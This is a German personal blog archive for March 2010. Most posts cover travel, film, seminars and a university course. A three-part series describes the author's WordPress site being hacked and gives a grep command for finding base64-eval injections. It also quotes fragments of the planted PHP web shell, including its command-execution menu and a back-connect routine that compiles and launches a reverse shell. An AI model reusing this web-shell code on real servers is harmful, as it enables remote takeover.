Archiv für den Monat: März 2010

Der Flug nach Thailand ist gebucht

Nachdem ich gestern noch einmal bei allen Professoren die Information eingeholt habe, wann diesen Sommer die mündlichen Prüfungen abgehalten werden, haben Andrea und ich endlich unseren Flug nach Thailand gebucht.

Der perfekte Flug war noch immer gelistet, aber nach Eingabe aller Kontaktinformationen war der Flug plötzlich doch ausgebucht. Wahrscheinlich waren wir nur 10 Minuten zu spät dran, denn der Flug tauchte anschließend auch nicht mehr in den Suchmaschinen auf. Schade.

Beim Alternativ-Flug haben wir uns dann extra beeilt, um nicht am Ende noch tiefer in die Tasche greifen zu müssen. Genau genommen ist der neue Flug sogar deutlich günstiger als der Alte, wäre der Abflug nicht aus Frankfurt am Main und müssten wir in Bangkok nicht eine Unterkunft suchen, weil der Nachtzug nach Chiang Mai erst am nächsten Tag abfährt. Mit Bahnticket und Hostel sind wir so wieder auf dem ursprünglichen Preis.

Etwas abenteuerlich, weil ich mich in dieser Ecke der Welt gar nicht auskenne: Ein Zwischenstop im Sultanat Oman – genau gesagt der Hauptstadt Maskat – auf der arabischen Halbinsel. Aber da Dubai ja gleich um die Ecke liegt und Emirates einen guten Ruf hat, vertrauen wir einfach darauf, dass uns auch mit Oman Air ein komfortabler Flug bevorsteht. Die wollen sich – soweit ich gelesen habe – derzeit einen Ruf in Europa aufbauen. Einen Guten will ich hoffen. 🙂

Ein Flug über Teheran wäre noch eine Ecke günstiger gewesen, aber man muss sein Glück ja nicht übermäßig strapazieren. 😉 Egal, wie viele nette KommilitonInnen aus dem Iran ich hier in Köln kennen gelernt habe: Ich hätte ein mulmiges Gefühl in diesem Land zwischenzulanden.

Der Flug ist also gebucht und bezahlt.
Ein ganzer Monat Thailand – mit dem Rucksack durch den Regenwald und an die touristischen Strände. Die Tempel nehmen wir auch alle mit, jede Menge vegetarisches Essen! für wenig Geld, Früchte zum Frühstück bis zum Abwinken.

Ich bin aufgeregt und glücklich. 🙂

Ich wurde gehackt 3

Alles wieder da, dieses Mal mit schicker Umleitung in der .htaccess – das darf doch alles nicht wahr sein.

Nachtrag:
Ich hab dieses Mal alles erwischt – hoffe ich. Drei Mal am Tag such ich jetzt nach verdächtigen Stellen in den Scripten. Das hat mich wirklich verstört.

Ich wurde gehackt 2

Was habe ich an diesem Wochenende Zeit verbraten, um meine Webseite wieder sauber zu bekommen. Inzwischen sind da eine ganze Menge Dateien zusammengekommen, die Schadcode enthalten. Ich kann nur allen WordPress-Betreibern raten einfach einmal ihre Installation nach Anzeichen zu durchsuchen. Der Befall ist auch schon in älteren Backups zu finden, bevor es zu sichtbaren Fehlern kam.

Ein kurzer Befehl auf der Shell (im Installationsverzeichnis) zeigt, ob sich der Parasit auch bei euch eingenistet hat.

find ./ -iname "*.php" | xargs grep -H -n "eval(base64_decode"

Für Windows-User: Alle *.php Dateien nach „eval(base64_decode“ mit einem Programm eurer Wahl durchsuchen.

Das brachte bei mir auch noch einige Dateien außerhalb von wp-admin zum Vorschein:

./htdocs/ucara/wp-admin/edit-form-advanced.php:6:eval(base64_decode("$d"));
./htdocs/ucara/wp-admin/includes/users.php:6:eval(base64_decode("$d"));
./htdocs/ucara/wp-admin/includes/class-wp-filesystem-check.php:3:eval(base64_decode("$dd"));
./htdocs/ucara/wp-content/themes/classic/archive.php:3:eval(base64_decode("$dd"));
./htdocs/ucara/wp-includes/images/crystal/license.php:3:eval(base64_decode("$dd"));
./htdocs/ucara/wp-includes/common.php:3:eval(base64_decode("$dd"));
./htdocs/ucara/wp-includes/wp-vars.php:6:eval(base64_decode("$d"));
./htdocs/ucara/wp-includes/class-read.php:6:eval(base64_decode("$d"));

Also dieses Mal alle Dateien der WordPress-Installation aus einem frischen Release-Archiv überschreiben und ein weiteres Mal die Passwörter ändern. *seufz*

Diese Nacht war mein Provider so freundlich, mich auf einen anderen Server zu verlegen, auf dem PHP und MySQL in 5.X läuft. Zum Glück nutze ich ja keine alte Software, die mit diesen Versionen inkompatibel ist. Auch habe ich den Umbau genutzt, einige Altlasten aus den Datenbanken zu tilgen (alte Joomla-Installationen z.B.).

Regelmäßige Backups und Kontrollen – ist wohl das einzige was hilft.

Seminar an Pfingsten

Christian hat mich darauf aufmerksam gemacht, dass ein Termin meines ZAQ-Seminars „Rhetorik in der Gesprächsführung“ eiskalt auf den 22. Mai gelegt wurde – Pfingstsamstag. Und was mache ich seit vielen Jahren an Pfingsten jeden Jahres? Richtig, ich fahre als Gruppenleiter aufs Pfingstlager der Pfarrjugend St.Michael Wermelskirchen.
Thema dieses Jahr: Märchen, Mythen und Legenden 😉

Daran, dass dort ein Termin liegen könnte, habe ich bei der Auswahl gar keinen Gedanken verschwendet, da die Pfingstferien offiziell vom 21.5 bis zum 25.5 „(vorlesungs)frei“ sind. Noch hoffe ich auf ein Versehen bei der Terminvergabe und werde mich morgen erkundigen, ob das IWZ überhaupt an diesem Wochenende geöffnet hat. Aber die ZAQ Kurse liegen so außerhalb des normalen Vorlesungsablaufs, dass ich mit allem rechne. 🙁

Einen gewissen Prozentsatz des Seminars darf man ja blau machen, aber acht Stunden sind da leider zu viel – sonst würde ich es ernsthaft in Betracht ziehen. Im schlimmsten Fall, leihe ich mir also ein Auto und darf am Pfingstsamstag zwei Mal die Strecke Köln <-> Eifel fahren. Oder wenn praktikabel teilweise mit der Bahn. Klasse.

Ich wurde gehackt

Der WordPress-Problem von Vorgestern ist ein Hack!

Neuste WordPress-Version und ich kann nichts dagegen machen, als Passwörter zu tauschen und die DB zu sichern. Verdammt.

Thread im WordPress.com Forum.

Nachtrag:

Hab es meinem Provider gemeldet für den Fall, dass es nicht WordPress-spezifisch ist, sondern die Lücke am Server an sich liegt.

Für alle, die sich die veränderten Dateien anschauen wollen: https://www.caracasa.de/files/hacked_files.tar.bz2

Das Reverse-engineeren ist gar nicht so einfach, wenn der Hacker alles Base64 kodiert und immer wieder verschachtelt mit eval interpretieren lässt.
Damn you php und all scripting-languages!

Nachtrag2:

Laut Code,  kann der Hacker beliebige Dateien anfordern, ein Backup der MySQL-Datenbank machen, phpinfo() aufrufen, Befehle ausführen und beliebigen PHP-Code ausführen. Alles schön gesteuert über eine kleine Webseite mit Login über Javascript.

&lt;td&gt;&lt;span style="float:right;"&gt;Safe Mode:&lt;?php echo getcfg('safe_mode');?&gt;&lt;/span&gt;
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('logout');"&gt;Logout&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('file');"&gt;File Manager&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('sqladmin');"&gt;MySQL Manager&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('sqlfile');"&gt;MySQL Upload &amp;amp; Download&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('shell');"&gt;Execute Command&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('phpenv');"&gt;PHP Variable&lt;/a&gt; |
 
<span style="white-space: pre;"> </span>&lt;a href="javascript:goaction('eval');"&gt;Eval PHP Code&lt;/a&gt;
 
<span style="white-space: pre;"> </span>&lt;?php if (!IS_WIN) {?&gt; | &lt;a href="javascript:goaction('backconnect');"&gt;Back Connect&lt;/a&gt;&lt;?php }?&gt;
 
<span style="white-space: pre;"> </span>&lt;/td&gt;

Der Kompiliert sich sogar was Nettes mit dem GCC

if ($use == 'perl') {
<div id="_mcePaste">cf('/tmp/angel_bc',$back_connect);</div>
<div id="_mcePaste">$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &amp;");</div>
<div id="_mcePaste">} else {</div>
<div id="_mcePaste">cf('/tmp/angel_bc.c',$back_connect_c);</div>
<div id="_mcePaste">$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');</div>
<div id="_mcePaste">@unlink('/tmp/angel_bc.c');</div>
<div id="_mcePaste">$res = execute("/tmp/angel_bc $yourip $yourport &amp;");</div>
if ($use == 'perl') {			cf('/tmp/angel_bc',$back_connect);			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &amp;");		} else {			cf('/tmp/angel_bc.c',$back_connect_c);			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');			@unlink('/tmp/angel_bc.c');			$res = execute("/tmp/angel_bc $yourip $yourport &amp;");

So richtig kompatibel mit der aktuellen WordPress-Version (2.9.2) scheint das Script ja nicht zu sein, wenn es sich mit den erwähnten Ausfällen bemerkbar macht.

Grad noch gefunden – ein Plugin für WordPress um Exploits zu finden:
http://wordpress.org/extend/plugins/exploit-scanner/

Das läuft gerade, aber die entsprechenden Dateien sind ja schon weg.

hier geht es weiter: Ich wurde gehackt 2

Film: Alice im Wunderland

Eine leckere Schokokusstorte hat Andrea mir gestern zum Geburtstag gezaubert und mich am Abend noch heimlich nach Wiesdorf ins Kino gebracht.

Tim Burtons Alice im Wunderland in 3D.

Wer auch immer diese Charaktere ausgearbeitet hat (wahrscheinlich Burton selbst) stammt wirklich aus einer ganz anderen Welt. Die Figuren selbst sind natürlich aus den Vorlagen bekannt, Mr. Depp spielt seine Rollen eh alle sehr ähnlich, aber manchmal ist es einfach nur noch absurd. 😉 Kopf ab! Die Altersempfehlung von 12 Jahren kann ich unterschreiben – bei der Klettereinlage der geschrumpften Alice über die im Burggraben treibenden Köpfe wäre jedem 6-jährigen der Spaß an Plüschhasen und bunter Fantasiewelt vergangen. Für meinen Geschmack hätte die Grinsekatze einen größeren Part spielen können. Dem Schweben, Drehen, Winden, Vergehen, Erscheinen und Teleportieren hätte ich gerne noch länger zugesehen. In einigen Szenen (z.B. der Sturz in den Kaninchenbau) ist mir mal wieder stark aufgefallen, dass die Bildfrequenz im Kino für die Shutter-Technik zu niedrig ist – ich weiß da einfach nicht mehr, wo ich überall hingucken muss, wenn sich der Bildinhalt sowohl von der schnellen Szene, als auch durch das Ruckeln schlagartig ändert.

Kleiner Höhepunkt unter den Filmtrailern: Tron Legacy

Den ersten Teil hab ich mir gleich nach dem ersten viralen Trailer noch einmal angesehen. Nach all den Jahren ist die Optik trotzdem noch zeitlos-modern und ich wünsch mir sehnlichst einen Digitalisierer für zu Hause. 😉 Den neuen Trailer (in 3D!) kannte ich in der Version noch nicht, aber obwohl die Lightcycle-Scene dieses Mal etwas kürzer kommt, kann ich es kaum abwarten (Dezember 2010). Allerdings hatte ich gestern nicht den Eindruck, dass viele der anderen Anwesenden etwas damit anzufangen wussten.

Aber für Fortsetzungen von den klassischen Nerdfilmen bin ich natürlich immer zu haben.

Vorlesung: Verteilte und mobile Anwendungen

Heute war die erste Vorlesung „Verteilte und mobile Anwendungen„. Themen sind die Programmierung für mobile Geräte wie z.B. Smartphones inbesondere JavaME und Android API, aber auch eine grobe Übersicht der anderen großen BS wie IPhone OS und Symbia OS.

Für 20 Personen gab es Praktikums-Plätze und bestimmt die doppelte Zahl wollte teilnehmen. Den Fall habe ich bisher in Köln noch nicht erlebt und deshalb hatte ich ein wenig Sorge, mich auf die Chance in einem Losverfahren verlassen zu müssen. Zu meinem Glück ging es letztendlich aber nach Fortschritt des Studiums bzw. bestandenen Softwarepraktika. Nach welchem Muster die resltichen fünf Plätze nach der Vorlesung verteilt wurden kann ich nicht sagen, aber da werden einige verärgert nach Hause gegangen sein.
Eine neue Vorlesung, die Buzzwords  „Android“ und „Smartphone“ auf dem Modulbogen – das musste wohl so kommen.

Die Entwicklungsumgebung unter Eclipse steht bereits für beide Praktikumsplattformen, auch wenn der Android-Emulator die Hardware von meinem Notebook ordentlich in die Knie zwinkt. Eine Minute bis die Anwendung zur Verfügung steht muss ich schon einplanen – dabei sehe ich mir kleine Änderungen doch gerne mal auf die Schnelle im laufenden Programm an. In Zukunft muss ich also „sammeln“. 🙂

Auf absehbare Zeit gibt es bestimmt auch eine Android-Schnittstelle für die Ubuntu Desktop Edition bzw.  normale Distributionen im Allgemeinen, um sich das zu ersparen. Die Lösung fände ich auch für ein offenes Tablett am besten, um alle Möglichkeiten offen zu halten. Android im Fenster gibt es bereits hier zu sehen – lange kann es also nicht mehr dauern.

Probleme mit WordPress

Diesen Eintrag kann ich nur über „Quickpress“ im Dashboard erstellen. Im Backend liefern mir post.php und post-new.php nur noch verschandelte HTML-Seiten aus, die dem Inhalt der admin-footer.php entsprechen. Aus den PHP-Skripten kann ich dafür keinen Grund erkennen.

Mal sehen, was meine Frage im WordPress-Forum ergibt – zur Zeit bin ich nur ratlos. 🙁

Nachtrag:

Irgendwie ist es ja immer so. Kaum habe ich meine bestes Englisch für die Supportforen herausgekramt, fällt mir das Naheliegenste ein. In diesem Fall einfach das wp-admin Verzeichnis mit den Quellen zu überschreiben.

Bleibt die Frage wie und wann meine WordPress-Installation in Mitleidenschaft gezogen wurde.

Meine Passwörter hab ich vorsorglich geändert. Sehr seltsam.